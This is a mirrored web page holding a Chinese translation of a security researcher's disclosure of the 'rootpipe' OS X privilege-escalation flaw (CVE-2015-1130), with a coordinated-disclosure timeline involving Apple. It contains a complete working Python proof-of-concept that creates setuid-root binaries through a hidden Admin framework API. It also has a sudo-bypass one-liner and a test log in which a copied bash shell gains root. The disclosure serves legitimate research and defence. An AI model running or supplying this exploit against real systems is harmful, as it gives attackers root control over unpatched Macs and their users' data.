forked from Trietptm-on-Security/WooYun-2
-
Notifications
You must be signed in to change notification settings - Fork 7
/
Apple OS X系统中存在可以提升root权限的API后门.html
324 lines (233 loc) · 125 KB
/
Apple OS X系统中存在可以提升root权限的API后门.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
<html>
<head>
<title>Apple OS X系统中存在可以提升root权限的API后门 - 路人甲</title>
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
</head>
<body>
<h1>原文地址:<a href="http://drops.wooyun.org/tips/5566">http://drops.wooyun.org/tips/5566</a></h1>
<p>
<p>from:https://truesecdev.wordpress.com/2015/04/09/hidden-backdoor-api-to-root-privileges-in-apple-os-x/</p>
<h1>0x00 摘要</h1>
<hr />
<p>Apple OS X系统中的Admin框架存在可以提升root权限的API后门,并且已经存在多年(至少是从2011年开始)。我是在2014年的10月发现他可以被用来已任何用户权限提升为root权限,其本意可能是要服务“System Preferences”和systemsetup(命令行工具),但是所有的用户进程可以使用相同的功能。</p>
<p>苹果刚刚发布了OS X 10.10.3解决了此问题,但是OS X 10.9.x以及之前的版本存在此问题,因为苹果决定不对这些版本进行修复了。我们建议所有的用户都升级到10.10.3。</p>
<h1>0x01 demo</h1>
<hr />
<p>我使用的第一个exp是基于CVE-2013-1775的,一个sudo认证绕过bug,这个bug已经在10.8.5(2013年9月)修复了。</p>
<!--more-->
<p>exp代码非常的简单:</p>
<pre><code>#!bash
$ sudo -k;systemsetup -setusingnetworktime Off -settimezone GMT -setdate 01:01:1970 -settime 00:00;sudo su
</code></pre>
<p>我跟我同事Philip Åkesson聊这个exp代码实际上使用了systemsetup来修改系统时间。我们一起来看了下他修复的细节,原来除了修复了sudo,Apple也同时做了另外一件事情,他们把systemsetup设置为需要root权限,当以非root权限执行systemsetup的时候,下面的信息就会显示(在10.8.5以及之后版本):</p>
<pre><code>#!bash
$ systemsetup
You need administrator access to run this tool... exiting!
</code></pre>
<p>这个消息其实是有点误导的,以为我们实际上是在以管理员权限运行,安装OS X时候创建的用户默认就是admin权限。</p>
<p>总之,上面的消息表明执行该命令需要root权限,通过Hopper反汇编发现了下面的代码</p>
<p><img src="http://static.wooyun.org/drops/20150409/2015040916525337833pic1.jpg" alt="enter image description here" /></p>
<p>OK,所以systemsetup二进制文件只是简单的检查了是否是root权限。</p>
<p>修改了一下函数(用setne替代sete):取得了成功</p>
<pre><code>#!bash
$ systemsetup
> systemsetup
> type -help for help.
</code></pre>
<p>到目前为止,我们只是回到之前的systemsetup(10.8.5之前),你可以用systemsetup执行命令的一个例子:</p>
<pre><code>#!bash
$ systemsetup –setremotelogin on
</code></pre>
<p>这将在22端口上开启ssh服务,当然你也可以通过launchtl开启,但是launchtl需要root权限。所以这在权限上还是有很明显的区别的。</p>
<p>类名为RemoteServerSettings表明,有某种进程间通信可以解释为什么需要root操作执行。不过还是要提一下,通过System Preferences开启SSH服务也不需要root权限。</p>
<p>我发现这种权限的差异非常有趣,继续反编译systemsetup。</p>
<p>通过一个名字叫做[ServerSettings setRemoteLogin:]的方法实现了systemsetup中的setremotelogin命令。</p>
<p>函数做了一些输入检查,然后调用[InternetServices setSSHServerEnabled:],这是在Admin框架中实现。反编译Admin框架可以看到setSSHServerEnabled并不是InternetServices接口的唯一方法,清单如下:</p>
<pre><code>+[InternetServices sharedInternetServices]
+[InternetServices sharedInternetServices].sSharedInternetServices
-[InternetServices _netFSServerFrameworkBundle]
-[InternetServices _netFSServerFrameworkBundle].sNetFSServerkBundle
-[InternetServices _netFSServerFrameworkBundle].sNetFSServerkBundleOnce
-[InternetServices faxReceiveEnabled]
-[InternetServices ftpServerEnabled]
-[InternetServices httpdEnabled]
-[InternetServices isFTPServerAvailable]
-[InternetServices isFaxReceiveAvailable]
-[InternetServices isGuestForProtocolEnabled:]
-[InternetServices isHttpdAvailable]
-[InternetServices isNSCProtocolAvailable:]
-[InternetServices isNSCProtocolEnabled:]
-[InternetServices isNSServerShuttingDown:]
-[InternetServices isOpticalDiscSharingEnabled]
-[InternetServices isRemoteAEServerAvailable]
-[InternetServices isSSHServerAvailable]
-[InternetServices nscServerCancelShutdown:refNum:]
-[InternetServices nscServerShutdown:withDelay:]
-[InternetServices numberOfClientsForProtocols:]
-[InternetServices remoteAEServerEnabled]
-[InternetServices saveNatPrefs:]
-[InternetServices screensharingEnabled]
-[InternetServices sendSIGHUPToEfax]
-[InternetServices setFTPServerEnabled:]
-[InternetServices setFaxReceiveEnabled:]
-[InternetServices setGuestForProtocol:enabled:]
-[InternetServices setHttpdEnabled:]
-[InternetServices setInetDServiceEnabled:enabled:]
-[InternetServices setNSCProtocols:enabled:]
-[InternetServices setOpticalDiscSharingEnabled:]
-[InternetServices setRemoteAEServerEnabled:]
-[InternetServices setSSHServerEnabled:]
-[InternetServices setScreensharingEnabled:]
-[InternetServices sshServerEnabled]
_OBJC_CLASS_$_InternetServices
_OBJC_METACLASS_$_InternetServices
___47-[InternetServices _netFSServerFrameworkBundle]_block_invoke
</code></pre>
<p>一些例如setHttpdEnabled和setSSHServerEnabled共享一个辅助方法[ADMInternetServices setInetDServiceEnabled:enabled:]。</p>
<p>继续看Admin框架代码,发现:</p>
<p><img src="http://static.wooyun.org/drops/20150409/2015040916525168323pic2.jpg" alt="enter image description here" /></p>
<p>代码看来是为guest账户创建一个用户特定的Apache配置文件,注意root用户是这个文件的拥有者:</p>
<pre><code>#!bash
$ ls -l /etc/apache2/users/
total 8
-rw-r--r-- 1 root wheel 139 Apr 1 05:49 std.conf
</code></pre>
<h1>0x02 发现后门</h1>
<hr />
<p>上面截图的代码中最后一个被调用的Objective-C方法是createFileWithContents:path:attributes:</p>
<p>他获取一个组数组包括字节数,文件路径,文件属性。</p>
<p>自己代码中使用这个函数是这个样子的:</p>
<pre><code>#!bash
[tool createFileWithContents:data
path:[NSString stringWithUTF8String:target]
attributes:@{ NSFilePosixPermissions : @0777 }];
</code></pre>
<p>问题在于我们如何控制“tool”,再看一看开始的代码截图:</p>
<pre><code>#!bash
id sharedClient =
[objc_lookUpClass("WriteConfigClient") sharedClient];
id tool = [sharedClient remoteProxy];
</code></pre>
<p>当我尝试我自己的代码的时候,爆出error错误:</p>
<pre><code>### Attempt to send message without connection!
</code></pre>
<p>下面找出如何出现这个错误的:</p>
<p><img src="http://static.wooyun.org/drops/20150409/2015040916524754718pic3.jpg" alt="enter image description here" /></p>
<p>这是检查XPC代理在我的进程中是否启动,看一下_onewayMessageDispatcher来定位初始代码:</p>
<p><img src="http://static.wooyun.org/drops/20150409/2015040916524526325pic4.png" alt="enter image description here" /></p>
<p>实际初始化的地方就是authenticateUsingAuthorization方法。</p>
<p><img src="http://static.wooyun.org/drops/20150409/2015040916524223285pic5.png" alt="enter image description here" /></p>
<p>这正是我想要的,给writeconfig XPC服务创建一个XPC客户端,并且这个服务是以root权限运行的。</p>
<p><img src="http://static.wooyun.org/drops/20150409/2015040916523827573pic6.png" alt="enter image description here" /></p>
<p>唯一的问题就是我应该给authenticateUsingAuthorization传递什么参数,从systemsetup文件当中找到如下:</p>
<p><img src="http://static.wooyun.org/drops/20150409/2015040916523683094pic7.png" alt="enter image description here" /></p>
<p>看起来[SFAuthorization authorization]可以来做触发,下面是我的新的exp:</p>
<pre><code>id auth = [objc_lookUpClass("SFAuthorization") authorization];
id sharedClient =
[objc_lookUpClass("WriteConfigClient") sharedClient];
[sharedClient authenticateUsingAuthorizationSync: auth];
id tool = [sharedClient remoteProxy];
[tool createFileWithContents:data
path:[NSString stringWithUTF8String:target]
attributes:@{ NSFilePosixPermissions : @04777 }];
</code></pre>
<p>文件最终创建,setuid已经设置:</p>
<pre><code>#!bash
-rwsrwxrwx 1 root wheel 25960 Apr 1 19:29 rootpipe.tmp
</code></pre>
<p>既然setuid已经设置并且拥有者是root,我们就有有了一个提权漏洞。</p>
<p>上面的代码适用于10.9及以后版本,10.7.x和10.8.x有些类文件名略不相同。</p>
<p>但是上面的代码仍然有一个问题,只可以在admin的权限下运行,之前提到过几乎所有的OS X用户都是admin。</p>
<p>最终找到一个适用所有用户使用的方法,很简单,只要把[SFAuthorization authorization]:的结果替换为发送nil到authenticateUsingAuthorizationSync。</p>
<pre><code>[sharedClient authenticateUsingAuthorizationSync: nil];
</code></pre>
<h1>0x03 Timeline</h1>
<hr />
<pre><code>Oct 2nd 2014: First discovery
Oct 3rd 2014: First contact with Apple Product Security Team
Oct 14th 2014: Exploit code shared with Apple
Oct 24th 2014: Initial full disclosure date set to Jan 12th 2015
Oct 16th 2014: Release of OS X 10.10 Yosemite, vulnerable to rootpipe
Nov 14th 2014: Apple requested to postpone disclosure
Nov 17th 2014: Release of OS X 10.10.1, also vulnerable
Jan 12th 2015: Joint decision between Apple and TrueSec to postpone disclosure due to the amount of changes required in OS X
Jan 16th 2015: CVE-2015-1130 created by Apple
Jan 27th 2015: Release of OS X 10.10.2, also vulnerable
March 2nd 2015: Release of OS X 10.10.3 public beta, issue solved
April 1st 2015: Apple confirmed that release is coming the second week of April
April 8th 2015: Release of OS X 10.10.3
April 9th 2015: Full disclosure
</code></pre>
<h1>0x04 EXP</h1>
<hr />
<pre><code>#!python
########################################################
#
# PoC exploit code for rootpipe (CVE-2015-1130)
#
# Created by Emil Kvarnhammar, TrueSec
#
# Tested on OS X 10.7.5, 10.8.2, 10.9.5 and 10.10.2
#
########################################################
import os
import sys
import platform
import re
import ctypes
import objc
import sys
from Cocoa import NSData, NSMutableDictionary, NSFilePosixPermissions
from Foundation import NSAutoreleasePool
def load_lib(append_path):
return ctypes.cdll.LoadLibrary("/System/Library/PrivateFrameworks/" + append_path);
def use_old_api():
return re.match("^(10.7|10.8)(.\d)?$", platform.mac_ver()[0])
args = sys.argv
if len(args) != 3:
print "usage: exploit.py source_binary dest_binary_as_root"
sys.exit(-1)
source_binary = args[1]
dest_binary = os.path.realpath(args[2])
if not os.path.exists(source_binary):
raise Exception("file does not exist!")
pool = NSAutoreleasePool.alloc().init()
attr = NSMutableDictionary.alloc().init()
attr.setValue_forKey_(04777, NSFilePosixPermissions)
data = NSData.alloc().initWithContentsOfFile_(source_binary)
print "will write file", dest_binary
if use_old_api():
adm_lib = load_lib("/Admin.framework/Admin")
Authenticator = objc.lookUpClass("Authenticator")
ToolLiaison = objc.lookUpClass("ToolLiaison")
SFAuthorization = objc.lookUpClass("SFAuthorization")
authent = Authenticator.sharedAuthenticator()
authref = SFAuthorization.authorization()
# authref with value nil is not accepted on OS X <= 10.8
authent.authenticateUsingAuthorizationSync_(authref)
st = ToolLiaison.sharedToolLiaison()
tool = st.tool()
tool.createFileWithContents_path_attributes_(data, dest_binary, attr)
else:
adm_lib = load_lib("/SystemAdministration.framework/SystemAdministration")
WriteConfigClient = objc.lookUpClass("WriteConfigClient")
client = WriteConfigClient.sharedClient()
client.authenticateUsingAuthorizationSync_(None)
tool = client.remoteProxy()
tool.createFileWithContents_path_attributes_(data, dest_binary, attr, 0)
print "Done!"
del pool
</code></pre>
<h1>0x05 译者测试</h1>
<hr />
<pre><code>#!bash
[<a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="3e4a5b4d4a7e4a5b4d4a">[email protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>:~]$ cp /bin/bash bashceshi
[<a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="f387968087b387968087">[email protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>:~]$ python CVE-2013-1775.py bashceshi bashroot
will write file /Users/test/Downloads/bashroot
Done!
[<a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="cabeafb9be8abeafb9be">[email protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>:~]$ ./bashroot -p
bashroot-3.2# id
uid=501(test) gid=20(staff) euid=0(root) groups=20(staff),501(access_bpf),402(com.apple.sharepoint.group.1),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),33(_appstore),100(_lpoperator),204(_developer),398(com.apple.access_screensharing),399(com.apple.access_ssh)
</code></pre> </p>
</body>
</html>